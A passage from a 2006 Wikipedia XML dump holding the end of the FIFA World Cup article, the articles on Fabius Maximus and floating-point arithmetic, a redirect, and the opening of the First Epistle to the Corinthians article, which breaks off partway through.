|'''0 - 0''' &lt;br /&gt; '''(3 - 2)''' &lt;br&gt; [[penalty shootout (football)|on penalties]] 
|{{flagicon|ITA}} &lt;br /&gt; [[Italy national football team|Italy]] 
|{{flagicon|SWE}} &lt;br /&gt; [[Sweden national football team|Sweden]] 
|'''4 - 0''' 
|{{flagicon|BGR}} &lt;br /&gt; [[Bulgaria national football team|Bulgaria]] 

|- style=&quot;background: #D0E6FF;&quot;
|1998 &lt;br /&gt; ''[[Football World Cup 1998|Details]]'' 
|[[France]] 
|{{flagicon|FRA}} &lt;br /&gt; '''[[France national football team|France]]''' 
|'''3 - 0''' 
|{{flagicon|BRA}} &lt;br /&gt; [[Brazil national football team|Brazil]] 
|{{flagicon|HRV}} &lt;br /&gt; [[Croatia national football team|Croatia]] 
|'''2 - 1''' 
|{{flagicon|NLD}} &lt;br /&gt; [[Netherlands national football team|Netherlands]] 

|-
|2002 &lt;br /&gt; ''[[Football World Cup 2002|Details]]'' 
|[[South Korea]] &lt;br /&gt; &amp; [[Japan]] 
|{{flagicon|BRA}} &lt;br /&gt; '''[[Brazil national football team|Brazil]]''' 
|'''2 - 0''' 
|{{flagicon|DEU}} &lt;br /&gt; [[Germany national football team|Germany]] 
|{{flagicon|TUR}} &lt;br /&gt; [[Turkey national football team|Turkey]] 
|'''3 - 2''' 
|{{flagicon|KOR}} &lt;br /&gt; [[South Korea national football team|South Korea]] 

|- style=&quot;background: #D0E6FF;&quot;
|2006 &lt;br /&gt; ''[[Football World Cup 2006|Details]]'' 
|[[Germany]] 
| 
| 
| 
| 
| 
| 

|-
|2010 &lt;br /&gt; ''[[Football World Cup 2010|Details]]'' 
|[[South Africa]] 
| 
| 
| 
| 
| 
| 

|- style=&quot;background: #D0E6FF;&quot;
|2014 &lt;br /&gt; ''[[Football World Cup 2014|Details]]'' 
|''[[South America]]'' 
| 
| 
| 
| 
| 
| 
|} 

{{see|#Selection of hosts}}
&lt;div id=&quot;1&quot;&gt;&lt;sup&gt;'''1'''&lt;/sup&gt; There was no official World Cup Third Place match in 1930; [[United States men's national soccer team|USA]] and [[Yugoslavia national football team|Yugoslavia]] lost in the semi-finals.&lt;/div&gt;

&lt;div id=&quot;2&quot;&gt;&lt;sup&gt;'''2'''&lt;/sup&gt; There was no official World Cup final match in 1950. The tournament was decided in a final group contested by four teams. However, Uruguay's 2-1 victory over Brazil (match known as [[Maracanazo]]), was the decisive match which put them ahead on points and ensured that they finished top of the group as world champions.&lt;/div&gt;

===Successful national teams===
{{seealso|National team appearances in the FIFA World Cup}}
[[Image:World cup countries best results and hosts.PNG|thumb|Map of countries' best results]]

In all, 207 teams have competed to qualify for the World Cup Finals (see [[National team appearances in the FIFA World Cup]]), but only eleven have made it to the final match. Of those, only seven have won. This exclusivity inspires much enthusiasm and national pride amongst the tournament's fans. 

With five victories out of its seven appearances in the final, Brazil is the most successful World Cup team. It is also the only nation to have participated in every World Cup Finals so far. 

At the contintental level, South America edges out Europe with nine titles to eight. Brazil and Germany are tied for most appearances in the final at 7(Brazil won 5 while Germany won 3). Brazil and Italy were finalists each up for their 3rd cup in [[1970 Football World Cup|1970]] and for their 4th cup in 1994. In both matches, Brazil won close victories.

{| class=&quot;wikitable&quot;
|-
!Team
!Titles
!Winning years (* as hosts)
!Runners-up (* as hosts)
|-
|{{BRAf}}
|5
|[[Football World Cup 1958|1958]], [[Football World Cup 1962|1962]], [[Football World Cup 1970|1970]], [[Football World Cup 1994|1994]], [[Football World Cup 2002|2002]]
|2 ([[Football World Cup 1950|1950]]*, [[Football World Cup 1998|1998]])
|-
|{{GERf}}
|3
|[[Football World Cup 1954|1954]], [[Football World Cup 1974|1974]]*, [[Football World Cup 1990|1990]]&lt;br&gt;(all as [[West Germany]])
|4 ([[Football World Cup 1966|1966]], [[Football World Cup 1982|1982]], [[Football World Cup 1986|1986]], [[Football World Cup 2002|2002]])&lt;br&gt;(all but latest as [[West Germany]])
|-
|{{ITAf}}
|3
|[[Football World Cup 1934|1934]]*, [[Football World Cup 1938|1938]], [[Football World Cup 1982|1982]]
|2 ([[Football World Cup 1970|1970]], [[Football World Cup 1994|1994]])
|-
|{{ARGf}}
|2
|[[Football World Cup 1978|1978]]*, [[Football World Cup 1986|1986]]
|2 ([[Football World Cup 1930|1930]], [[Football World Cup 1990|1990]])
|-
|{{URUf}}
|2
|[[Football World Cup 1930|1930]]*, [[Football World Cup 1950|1950]]
| -
|-
|{{ENGf}}
|1
|[[Football World Cup 1966|1966]]*
| -
|-
|{{FRAf}}
|1
|[[Football World Cup 1998|1998]]*
| -
|-
|{{TCHf}}
| -
| -
|2 ([[Football World Cup 1934|1934]], [[Football World Cup 1962|1962]])
|-
|{{HUNf}}
| -
| -
|2 ([[Football World Cup 1938|1938]], [[Football World Cup 1954|1954]])
|-
|{{NEDf}}
| -
| -
|2 ([[Football World Cup 1974|1974]], [[Football World Cup 1978|1978]])
|-
|{{SWEf}}
| -
| -
|1 ([[Football World Cup 1958|1958]]*)
|}

Six of the seven champions have won at least once while playing in their own homeland. This is a major reason why nations actively lobby to be selected as hosts, leading to the frequent accusation that FIFA arranges favourable refereeing and draws for them. 

The only previous winner to have lost on home ground is [[Brazil national football team|Brazil]], who dropped the deciding match when they hosted the [[Football World Cup 1950|1950]] tournament. Even traditionally &quot;weaker&quot; nations have been successful during their spell as hosts. [[South Korea national football team|South Korea]], which had never managed to pass the first round, made it to the semifinals as a co-host in [[Football World Cup 2002|2002]]. [[England national football team|England]] ({{Wc|1966}}) and [[France national football team|France]] ({{Wc|1998}}) won their only Cups while playing as host nations.

Seventy-eight nations have qualified for the final tournament at least once. The top 10 national teams in terms of the number of appearances are (includes appearances in the upcoming [[2006 Football World Cup]]):
{| class=&quot;wikitable&quot;
|-
!Appearances!!Team
|-
|18||{{BRAf}}
|-
|16||{{GERf}}&lt;br&gt;{{ITAf}}
|-
|14||{{ARGf}}
|-
|13||{{MEXf}}
|-
|12||{{ENGf}}&lt;br&gt;{{FRAf}}&lt;br&gt;{{ESPf}}
|-
|11||{{BELf}}&lt;br&gt;{{SWEf}}
|}

===Best performances by continental zones===
{{seealso|National team appearances in the FIFA World Cup}}

To date, the final of the World Cup has only been contested by [[UEFA|European]] and/or [[CONMEBOL|South American]] teams. 

{| class=&quot;wikitable&quot;
|-
!Continent!!Best performance
|-
|[[CONMEBOL|South America]]||9 titles, won by [[Brazil national football team|Brazil]], [[Argentina national football team|Argentina]], and [[Uruguay national football team|Uruguay]]
|-
|[[UEFA|Europe]]||8 titles, won by [[Germany national football team|Germany]], [[Italy national football team|Italy]], [[England national football team|England]], and [[France national football team|France]]
|-
|[[CONCACAF|North America]]||Semifinal ([[United States men's national soccer team|USA]], [[Football World Cup 1930|1930]])
|-
|[[Asian Football Confederation|Asia]]||Semifinal ([[South Korea national football team|South Korea]], [[Football World Cup 2002|2002]])
|-
|[[Confederation of African Football|Africa]]||Quarterfinal ([[Cameroon national football team|Cameroon]], [[Football World Cup 1990|1990]]; [[Senegal national football team|Senegal]], [[Football World Cup 2002|2002]])
|-
|[[Oceania Football Confederation|Oceania]]||First round ([[Australia national football (soccer) team|Australia]], [[Football World Cup 1974|1974]]; [[New Zealand national soccer team|New Zealand]], [[Football World Cup 1982|1982]])
|}

==Awards== 
{{main|FIFA World Cup awards}}

At the end of each World Cup final tournament, six awards are presented to the players and teams for accomplishments other than winning the tournament outright. 

There are currently six awards: 
*The '''adidas Golden Shoe''' (formerly called the '''Golden Shoe''', or, sometimes, the ''Golden Boot'', first awarded in 1930) for top goal scorer;
*The '''adidas Golden Ball''' for best player (formerly called the '''Golden Ball''', first awarded in [[Football World Cup 1982|1982]]); 
*The '''Yashin Award''' for best goalkeeper (first awarded in [[Football World Cup 1994|1994]]); 
*The '''FIFA Fair Play Award''' for the team with the best record of fair play (first awarded in [[Football World Cup 1978|1978]]); 
*The '''Most Entertaining Team''' award for the team that has entertained the public the most, during the World Cup final tournament, as determined by a poll of the general public, first awarded in [[Football World Cup 1994|1994]]; 
*The '''Gillette Best Young Player''' award for best player under 21 years of age at the start of the calendar year, which will be awarded for the first time in [[Football World Cup 2006|2006]].

==Records and statistics==
{{main|FIFA World Cup records}}
* '''Largest margin of victory''': Hungary 9-0 South Korea, [[Football World Cup 1954|1954]]; Yugoslavia 9-0 Zaire [[Football World Cup 1974|1974]]; Hungary 10-1 El Salvador, [[Football World Cup 1982|1982]]
* '''Fastest goal from kickoff''': [[Hakan Şükür]], 11 seconds, Turkey vs South Korea, [[Football World Cup 2002|2002]]
* '''Most World Cup tournament appearances''': [[Antonio Carbajal]] (Mexico, 1950-1966) and [[Lothar Matthäus]] (West Germany and Germany, 1982-1998), 5
* '''Most World Cup match appearances''': [[Lothar Matthäus]], 25
* '''Most Caps''': [[Kristine Lilly]]  (2006), 302 
* '''Most goals scored''': [[Gerd Müller]] (West Germany 1970-1974), 14
* '''Most goals scored in one tournament''': [[Just Fontaine]] (France), 13, [[Football World Cup 1958|1958]]
* '''Oldest player and goalscorer''': [[Roger Milla]], 42 years and 39 days, Cameroon vs Russia, [[Football World Cup 1994|1994]]

==References==
&lt;!--See [[Wikipedia:Footnotes]] for an explanation of how to generate footnotes using the &lt;ref(erences/)&gt; tags--&gt;
&lt;references/&gt;

==See also== 
*[[FIFA Women's World Cup]] 
*[[Homeless World Cup]] 
*[[FIFA World Cup mascot]] 
*[[List of national football teams]] 
*[[World Cup|List of other competitions named World Cup]] 
*[[List of sporting events]]

==External links== 
* [http://www.fifa.com/en/index.html FIFA organization official site] 
* [http://fifaworldcup.yahoo.com/06/en/ FIFA World Cup Germany 2006 Official Site] 
* [http://www.fifa.com/infoplus/IP-201_02E_WC-origin.pdf FIFA Official Ranking of all Participants at Finals 1930-2002 (PDF)] 
* [http://fifaworldcup.yahoo.com/06/en/p/pwc/index.html FIFA Match Results for all Stages 1930-2002]
* [http://www.worldcup-history.com WorldCup-History.com]
*[http://www.soschildrensvillages.org.uk/charity-news/six-villages.htm Official FIFA World Cup Charity Campaign]
* [http://www.planetworldcup.com ''Planet World Cup'' with information on each men's World Cup finals] 
* [http://www.worldcupblog.org World Cup Blog]
* [http://www.geocities.com/worldcupspreadsheet World Cup 2006 spreadsheet - computes standings from scores]

{{fb start}}
{{International Football}}
{{Football World Cup}}
{{fb end}}

[[Category:Football World Cup|*]]
[[Category:International national football competitions|World Cup]]

[[ar:كأس العالم لكرة القدم]]
[[bg:Световно първенство по футбол]]
[[bs:SP u nogometu]]
[[cs:Mistrovství světa ve fotbale]]
[[da:Verdensmesterskab (fodbold)]]
[[de:Fußball-Weltmeisterschaft]]
[[et:Jalgpalli maailmameistrivõistlused]]
[[es:Copa Mundial de Fútbol]]
[[eo:Mond-Pokalo de Futbalo]]
[[fa:جام جهانی فوتبال]]
[[fr:Coupe du monde de football]]
[[ga:Corn Sacair an Domhain]]
[[ko:축구 월드컵]]
[[id:Piala Dunia FIFA]]
[[it:Campionato mondiale di calcio]]
[[he:גביע העולם בכדורגל]]
[[lv:FIFA Pasaules kauss]]
[[lt:Pasaulio futbolo čempionatas]]
[[nl:Wereldkampioenschap voetbal]]
[[ja:FIFAワールドカップ]]
[[no:Verdensmesterskapet i fotball]]
[[pl:Mistrzostwa świata w piłce nożnej]]
[[pt:Copa do Mundo]]
[[ru:Чемпионат мира ФИФА]]
[[sq:Kampionati Botëror i Futbollit]]
[[simple:FIFA World Cup]]
[[sl:Svetovno prvenstvo v nogometu]]
[[sr:Светско првенство у фудбалу]]
[[fi:Jalkapallon maailmanmestaruuskilpailut]]
[[sv:VM i fotboll]]
[[ta:உலகக்கோப்பை காற்பந்து]]
[[th:ฟุตบอลโลก]]
[[vi:Giải vô địch bóng đá thế giới]]
[[uk:Чемпіонат світу з футболу]]
[[zh:世界盃足球賽]]</text>
    </revision>
  </page>
  <page>
    <title>Fabius Maximus</title>
    <id>11371</id>
    <revision>
      <id>41857834</id>
      <timestamp>2006-03-02T04:39:09Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <comment>wikify what?</comment>
      <text xml:space="preserve">'''Quintus Fabius Maximus Verrucosus''' (c. [[275 BC]]-[[203 BC]]), called '''Cunctator''' (''the Delayer''), was a Roman politician and soldier, born in [[Rome]] around [[275 BC]] and died in Rome in [[203 BC]]. He was [[consul]] five times ([[233 BC]], [[228 BC]], [[215 BC]], [[214 BC]] and [[208 BC]]) and was twice [[Roman dictator|dictator]], [[221 BC|221?]]&amp;ndash;[[219 BC]], and [[217 BC]]. His nickname '''Cunctator''' (akin to the [[English language|English]] [[noun]] ''cunctation'') means &quot;delayer&quot; in [[Latin]], and refers to his [[tactics]] in deploying the troops during the [[Second Punic War]]. His cognomen ''Verrucosus'' means ''warty''.

Descended from an ancient [[patrician]] family, the [[Fabii]], he was a grandson of Quintus Fabius Maximus Gurges and a great-grandson of [[Quintus Fabius Maximus Rullianus]], both famous consuls. He probably participated in the [[First Punic War]], although no details of his role are known. After the end of the war he rapidly advanced his political career. He served twice as [[consul]] and [[censor]] and in [[218 BC]] he took part in the embassy to [[Carthage]]. It was Fabius who formally declared war on the city after the capture of [[Sagonte]] by [[Hannibal]]. The [[Roman Senate|Senate]] named him dictator in [[217 BC]] after the disaster at the [[Battle of Lake Trasimene]] in June of that year; this was unusual, as dictators were usually elected by the consuls. 

Fabius was well-aware of the military superiority of the Carthaginians, and when Hannibal invaded [[Italy]] he refused to meet him in a pitched battle. Instead he kept his troops close to Hannibal, hoping to exhaust him in a long [[war of attrition]]. Fabius was able to harass the Carthaginian foraging parties, limiting Hannibal's ability to wreak destruction while conserving his own military force.

The Romans were unimpressed with this defensive strategy and at first gave Fabius his nickname as an insult. The strategy was in part ruined because of a lack of unity in the command of the Roman army: the [[magister equitum]], Minucius, was a political enemy of Fabius. It was only after Fabius had saved him from an attack by Hannibal that Minucius placed himself under Fabius' command. Minucius had been named a co-commander of the Roman forces by Fabius' detractors in the Senate.  Minucius openly claimed that Fabius was cowardly because he failed to confront the Carthaginian forces.  Near the present-day town of [[Larino]] in the Molise (then called Larinum) Hannibal had taken up a position in a town called Gerione.  In the valley between Larino and Gerione, Minucius decided to make a broad frontal attack on Hannibal's troops.  Several thousand men were involved on either side.  It appeared that the Roman troops were winning but Hannibal had set a trap.  Soon the Roman troops were being slaughtered.  Fabius, despite Minucius' earlier arrogance, rushed to his co-commander's assistance and Hannibal's forces immediately retreated.  After the battle there was some feeling that there would be conflict between Minucius and Fabius.  However, the younger soldier marched his men to Fabius' encampment and he is reported to have said, &quot;My father gave me life.  Today you saved my life. You are my second father. I recognize your superior abilities as a commander.&quot;

At the end of Fabius' dictatorship, the command was given back to the consuls [[Gnaeus Servilius Geminus]] and [[Marcus Atilius Regulus]] and in the following year ([[216 BC]]) to the consuls [[Lucius Aemilius Paullus]] and [[Gaius Terentius Varro]]. After Paullus and Varro were defeated at the [[battle of Cannae]] that year, the wisdom of Fabius' tactic was understood and ''Cunctator'' became an honorific title. This tactic was followed for the rest of the war, as long as Hannibal remained in Italy. 

Fabius' own military success was small, aside from the reconquest of [[Tarentum]] in [[209 BC]]. When, some years afterwars , M. Livius Macatus, the governor of Tarentum  claimed the merit of recovering the town, &quot;certainly,&quot; rejoined Fabius, &quot;had you not lost it, I would had never retaken it.&quot; (Plut. Fab. 23 ; Cic. de Oral. ii. 67.) He served as consul twice more after serving as dictator in 214 B.C. and 215 B.C. as well as being Chief Augur and Pontifex Maximus - a combination not repeated until [[Julius Caesar]]. However, he opposed the young and ambitious [[Scipio Africanus]], who wanted to carry the war to [[Africa]]. 

Later, he became a legendary figure and the model of a tough, courageous Roman. According to [[Ennius]], ''unus homo nobis cunctando restituit rem'' – &quot;one man, by delaying, has restored the state to us.&quot; While Hannibal is mentioned in the company of history's greatest generals, military professionals have bestowed Fabius' name on an entire [[military strategy|strategic]] doctrine known as the &quot;''[[Fabian strategy]]''.&quot;

==See also==
* [[Fabian Society]], an active group in the politics of [[Great Britain]] at the end of the [[19th century]].

==External links==
* [http://classics.mit.edu/Plutarch/fabius.html ''Fabius''], by [[Plutarch]]

-----
''For other members of the ''Fabii'', see [[Fabius]].''

{{Plutarch's lives}}

[[Category:275 BC births]]
[[Category:203 BC deaths]]
[[Category:Roman dictators]]
[[Category:Roman generals]]
[[Category:Roman Republican consuls]]
[[de:Fabius Maximus Verrucosus]]
[[es:Quinto Fabio Máximo]]
[[fr:Fabius Maximus]]
[[he:&amp;#1508;&amp;#1488;&amp;#1489;&amp;#1497;&amp;#1493;&amp;#1505; &amp;#1502;&amp;#1488;&amp;#1511;&amp;#1505;&amp;#1497;&amp;#1502;&amp;#1493;&amp;#1505;]]
[[ja:クィントゥス・ファビウス・マクシムス]]
[[la:Fabius Maximus]]
[[nl:Quintus Fabius Maximus Cunctator]]
[[sk:Fabius Maximus]]
[[fi:Fabius Maximus]]</text>
    </revision>
  </page>
  <page>
    <title>FAR</title>
    <id>11375</id>
    <revision>
      <id>15909123</id>
      <timestamp>2005-04-21T11:07:59Z</timestamp>
      <contributor>
        <username>RadioActive</username>
        <id>199469</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Far]]</text>
    </revision>
  </page>
  <page>
    <title>Floating point</title>
    <id>11376</id>
    <revision>
      <id>41949865</id>
      <timestamp>2006-03-02T20:57:51Z</timestamp>
      <contributor>
        <username>Bmearns</username>
        <id>474383</id>
      </contributor>
      <minor />
      <comment>/* Properties of floating point arithmetic */</comment>
      <text xml:space="preserve">A '''floating-point number''' is a [[digital]] representation for a number in  a certain subset of the [[rational number|rational numbers]], and is often used to approximate an arbitrary [[real number]] on a [[computer]].  In particular, it represents an integer or [[fixed-point arithmetic|fixed-point]] number (the '''[[significand]]''' or, informally, the '''mantissa''') multiplied by a base (usually 2 in computers) to some integer power (the '''[[exponent]]''').  When the base is 2, it is the binary analogue of [[scientific notation]] (in base 10).

A ''floating-point calculation'' is an arithmetic operation on floating-point numbers.  This often involves some approximation or rounding because the result of an operation may not be exactly representable&amp;mdash;floating-point
numbers are of limited precision and can therefore only represent a finite set of values, and if a result is not exactly one of those values then a choice of which value to use has to be made, and the result will then be inexact.

A floating-point number ''a'' can be represented by two numbers ''m'' and ''e'', such that ''a = m &amp;times; b&lt;sup&gt;e&lt;/sup&gt;''. 
In any such system we pick a base ''b'' (called the ''base'' of numeration, also the ''[[radix]]'') and a [[precision]] ''p'' (how many digits to store).
''m'' (which is called the ''[[significand]]'' or, informally, ''mantissa'') is either a ''p''-digit or ''p+1''-digit number (in the [[IEEE floating-point standard]], there is usually an implicit binary ''1'' to the left of the the binary point and ''p'' digits to the right) of the form ±d'''.'''ddd...ddd (each digit being a digit in the base, ''b'').  If the leading digit of ''m'' is non-zero then the number is said to be '''normalized'''.  Some descriptions use a separate sign bit (''s'', which represents &amp;minus;1 or +1) and require ''m'' to be positive.
''e'' is called the ''exponent''.

This scheme allows a large range of magnitudes to be represented within a given size of field, which is not possible in a [[fixed-point]] notation.

As an example, a floating-point number with four decimal digits (''b'' = 10, ''p'' = 4) and an exponent range of ±4 could be used to represent 43210, 4.321, or 0.0004321, but would not have enough precision to represent 432.123 and 43212.3 (which would have to be rounded to 432.1 and 43210).  Of course, in practice, the number of digits is usually larger than four.

In addition, floating-point representations often include the special values +&amp;infin;, &amp;minus;&amp;infin; (positive and negative infinity), and [[NaN]] ('Not a Number').  Infinities are used when results are too large to be represented, and NaNs indicate an invalid operation or undefined result.

== Usage in computing ==
While in the examples above the numbers are represented in the [[decimal]] system (that is the base of numeration, ''b'' = 10), computers usually do so in the [[binary numeral system|binary]] system, which means that ''b'' = 2. In computers, floating-point numbers are sized by the number of [[bit|bits]] used to store them. This size is usually 32 bits or 64 bits, often called &quot;single-precision&quot; and &quot;double-precision&quot;. A few machines offer larger sizes; Intel [[FPU|FPUs]] such as the [[Intel 8087]] (and its descendants integrated into the [[x86]] architecture) offer 80 bit floating point numbers for intermediate results, and several systems offer 128 bit floating-point, generally implemented in software.
[http://babbage.cs.qc.edu/courses/cs341/IEEE-754.html This website] can be used to calculate the floating point representation of a decimal number.

== Problems with floating-point ==

Floating-point numbers usually behave very similarly to the [[real number]]s they are used to approximate. However, this can easily lead programmers into over-confidently ignoring the need for [[numerical analysis]]. There are many cases where floating-point numbers do not model real numbers well, even in simple cases such as representing the decimal fraction 0.1, which cannot be exactly represented in any binary floating-point format. For this reason, financial software tends not to use a binary floating-point number representation.  See: http://www2.hursley.ibm.com/decimal/

Errors in floating-point computation can include:
* Rounding 
** Non-representable numbers: for example, the [[literal]] 0.1 cannot be represented exactly by a binary floating-point number
** Rounding of arithmetic operations: for example 2/3 might yield 0.6666667 
* Absorption: 1&amp;times;10&lt;sup&gt;15&lt;/sup&gt; + 1 = 1&amp;times;10&lt;sup&gt;15&lt;/sup&gt;
* Cancellation: subtraction between nearly equivalent operands 
* [[Arithmetic overflow|Overflow]], which usually yields an infinity
* [[Arithmetic underflow|Underflow]] (often defined as an inexact tiny result outside the range of the [[normal number (computing)|normal number]]s for a format), which yields zero, a [[subnormal]] number, or the smallest normal number
* Invalid operations (such as an attempt to calculate the square root of a negative number).  Invalid operations yield a result of [[NaN]] (not a number).
* Rounding errors: unlike the fixed-point counterpart, the application of [[dither]] in a floating point environment is nearly impossible.  See external references for more information about the difficulty of applying dither and the rounding error problems in floating point systems

Floating point representation is more likely to be appropriate when proportional accuracy over a range of scales is needed. When fixed accuracy is required, fixed point is usually a better choice.

== Properties of floating point arithmetic ==
Arithmetic using the floating point number system has two important properties that differ from those of arithmetic using real numbers.

Floating point arithmetic is not [[associative]].  This means that in general for floating point numbers x, y, and z:
* &lt;math&gt; (x + y) + z \neq x + (y + z) &lt;/math&gt;
* &lt;math&gt; (x \cdot y) \cdot z \neq x \cdot (y \cdot z) &lt;/math&gt;

Floating point arithmetic is also not [[distributive]].  This means that in general:
*&lt;math&gt; x \cdot (y + z) \neq (x \cdot y) + (x \cdot z) &lt;/math&gt;

In short, the order in which operations are carried out can change the output of a floating point calculation.  This is important in numerical analysis since two mathematically equivalent formulas may not produce the same numerical output, and one may be substantially more accurate than the other.

For example, with most floating-point implementations, &lt;tt&gt;(1e100 - 1e100) + 1.0&lt;/tt&gt; will give the result &lt;tt&gt;1.0&lt;/tt&gt;, whereas &lt;tt&gt;(1e100 + 1.0) - 1e100&lt;/tt&gt; gives &lt;tt&gt;0.0&lt;/tt&gt;.

The reason for this has to do with the range versus precision trade off inherent to floating point formats. By the nature of floating point representation, the larger a value, the less precise it is, in absolute terms. Following the above example of &lt;tt&gt;1e100&lt;sub&gt;10&lt;/sub&gt;&lt;/tt&gt;, the significand of this value would be a 1 followed by a decimal point, and then a bunch of 0's. However, these zero's do not actually represent the tenths, and hundredths, and thousandths, etc. of the value, they represent digits in position 100, 99, 98, etc. In order to store the actual result of the intermediate operation (&lt;tt&gt;(1e100 + 1.0)&lt;/tt&gt;), you would need to have a significand with 100 decimal digits (or 101 depending on whether or not the leading 1 is implicit in the format). in order to reach all the way from the [[most significant bit | most significant]] digit in the 100th position to the least significant digit, the 1 that was added to it, which now lives in the 0 position.

== IEEE standard ==

The [[IEEE]] has standardized the computer representation for binary floating-point numbers in [[IEEE floating-point standard|IEEE 754]].  
This standard is followed by almost all modern machines. 
Notable exceptions include IBM Mainframes, which have both hexadecimal and IEEE 754 data types, and Cray vector machines, where the T90 series had an IEEE version, but the SV1 still uses Cray floating-point format.

[[As of 2000]], the IEEE 754 standard is currently under revision.  See: [[IEEE 754r]]

== Examples ==
* The value of Pi, [[pi|&amp;pi;]] = 3.1415926...&lt;sub&gt;10&lt;/sub&gt; decimal, which is equivalent to binary 11.001001000011111...&lt;sub&gt;2&lt;/sub&gt;.  When represented in a computer that allocates 17 bits for the significand, it will become 0.11001001000011111 &amp;times; 2&lt;sup&gt;2&lt;/sup&gt;.  Hence the floating-point representation would start with bits 01100100100001111 and end with bits 10 (which represent the exponent 2 in the binary system). The first zero indicates a positive number, the ending 10&lt;sub&gt;2&lt;/sub&gt; = 2&lt;sub&gt;10&lt;/sub&gt;.

* The value of -0.375&lt;sub&gt;10&lt;/sub&gt; = -0.011&lt;sub&gt;2&lt;/sub&gt; or -0.11 &amp;times; 2&lt;sup&gt;&amp;minus;1&lt;/sup&gt;.  In two's complement notation, &amp;minus;1 is represented as 11111111 (assuming 8 bits are used in the exponent). In floating-point notation, the number would start with a 1 for the sign bit, followed by 110000... and then followed by 11111111 at the end, or 1110...011111111 (where ... are zeros).

=== Hidden bit ===
When using binary (''b'' = 2), one bit, called the '''hidden bit''' or the '''implied bit''', can be omitted if all numbers are required to be normalized.  The leading digit (most significant bit) of the significand of a normalized binary floating-point number is always non-zero; in particular it is always 1.  This means that this bit does not need to be stored explicitly, since for a normalized number it can be understood to be 1.  

The [[IEEE 754]] standard exploits this fact.  Requiring all numbers to be normalized means that 0 cannot be represented; typically some special representation of zero is chosen. In the IEEE standard this special code also encompasses [[denormal|denormal numbers]], which allow for [[gradual underflow]]. The normalized numbers are also known as the [[normal number (computing)|normal numbers]].

=== Note ===
''Although the examples in this article use a consistent system of floating-point notation, the notation is different from the IEEE standard.''  For example, in IEEE 754, the exponent is between the sign bit and the significand, not at the end of the number.  Also the IEEE exponent uses a biased integer instead of a two's complement number.  The reader should note that the examples serve the purpose of illustrating how floating-point numbers could be represented, but the actual bits shown in the article are different from those in a IEEE 754-compliant representation.  The placement of the bits in the IEEE standard enables two floating-point numbers to be compared bitwise (''sans'' sign bit) to yield a result without interpreting the actual values.  The arbitrary system used in this article cannot do the same. 
&lt;!-- Some good wikipedians with spare time can rewrite the examples using the IEEE standard if desired, though the current version is good enough as textbook examples for it highlights all the major components of a floating-point notation.  This also illustrates that a non-standard notation system also works as long as it is consistent. --&gt;

== See also ==
*[[Significant digits]]
*[[Fixed-point arithmetic]]
*[[Computable number]]
*[[IEEE Floating Point Standard]]
*[[IBM Floating Point Architecture]]
*[[FLOPS]]
*[[−0 (number)]]
*[[half precision]] &amp;ndash; [[single precision]] &amp;ndash; [[double precision]] &amp;ndash; [[quad precision]]

== References ==
* An edited reprint of the paper ''[http://docs.sun.com/source/806-3568/ncg_goldberg.html What Every Computer Scientist Should Know About Floating-Point Arithmetic]'', by David Goldberg, published in the March, 1991 issue of Computing Surveys.
* David Bindel&amp;#8217;s [http://www.cs.berkeley.edu/~dbindel/class/cs279/dsb-bib.pdf Annotated Bibliography] on computer support for scientific computation.
* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 2: ''Seminumerical Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89684-2. Section 4.2: Floating Point Arithmetic, pp.214&amp;ndash;264.
* Kahan, William and Darcy, Joseph (2001). How Java&amp;#8217;s floating-point hurts everyone everywhere. Retrieved Sep. 5, 2003 from [http://www.cs.berkeley.edu/~wkahan/JAVAhurt.pdf http://www.cs.berkeley.edu/~wkahan/JAVAhurt.pdf].
* [http://www.geocities.com/SiliconValley/Pines/6639/docs/fp_summary.html Introduction to Floating point calculations and IEEE 754 standard] by Jamil Khatib
* [http://home.earthlink.net/~mrob/pub/math/floatformats.html Survey of Floating-Point Formats] This page gives a very brief summary of floating-point formats that have been used over the years. 
&lt;!--
* Nika Aldrich has a paper exploring the difficulties of dithering floating point data: [http://www.cadenzarecording.com/floatingdither.html Exploring Dither in Floating-Point Systems]
--&gt;

[[Category:Data types]]
[[Category:Computer arithmetic]]

[[de:Gleitkommazahl]]
[[es:Coma flotante]]
[[fr:Virgule flottante]]
[[ko:부동소수점]]
[[he:נקודה צפה]]
[[it:Virgola mobile]]
[[nl:Drijvendekommagetal]]
[[ja:浮動小数点数]]
[[pl:Liczba zmiennoprzecinkowa]]
[[pt:Vírgula flutuante]]
[[sk:Pohyblivá desatinná čiarka]]
[[fi:Liukuluku]]
[[sv:Flyttal]]
[[zh:浮点数]]</text>
    </revision>
  </page>
  <page>
    <title>First Epistle to the Corinthians</title>
    <id>11378</id>
    <revision>
      <id>39874551</id>
      <timestamp>2006-02-16T13:42:35Z</timestamp>
      <contributor>
        <ip>68.73.63.200</ip>
      </contributor>
      <text xml:space="preserve">{{Books of the New Testament}}
See also: [[Second Epistle to the Corinthians]] and [[Third Epistle to the Corinthians]]
----
The '''First Epistle to the Corinthians''' is a book of the [[Bible]] in the [[New Testament]]. It is one of 4 letters to the Corinthians written by Paul. The previous letter, which has probably not survived, is referred to in 1 Corinthians 5:9 and a &quot;letter of tears&quot; is referred to in 2 Corinthians. 1 Corinthians is a letter, or a conflation of several letters, from [[Paul of Tarsus]] and [[Sosthenes]] to the Christians of [[Corinth, Greece]], one of the core group of [[Pauline epistles]] whose authenticity has never seriously been questioned.

It was written from [[Ephesus]] (16:8) about the time of the [[Passover]] in the third year of the apostle's sojourn there ([[Acts]] 19:10; 20:31), and when he had formed the purpose to visit [[Macedon]]ia and then return to Corinth (probably AD 57).

The news which had reached him, however, from Corinth frustrated his plan. He had heard of the abuses and contentions that had arisen among them: first from [[Apollos]] (Acts 19:1) and then from a letter they had written him on the subject, and also from some of the &quot;household of Chloe,&quot; and from Stephanas and his two friends who had visited him (1:11; 16:17). (Since there was no regular postal service in the Roman Empire, some of those people probably brought the letter with them.) Paul thereupon wrote this letter, urging uniformity of belief (&quot;that ye all speak the same thing and that there be no divisions among you,&quot; 1:10) and correcting the erroneous opinions that had sprung up among them, and remedying the many abuses and disorderly practices that prevailed. Titus and a brother whose name is not given were probably the bearers of the letter ([[2 Corinthians|2 Cor]] 2:13; 8:6, 16&amp;ndash;18).

The epistle may be divided into four parts:

#The apostle deals with the subject of the lamentable divisions and party strifes that had arisen among them (chs. 1&amp;ndash;4).
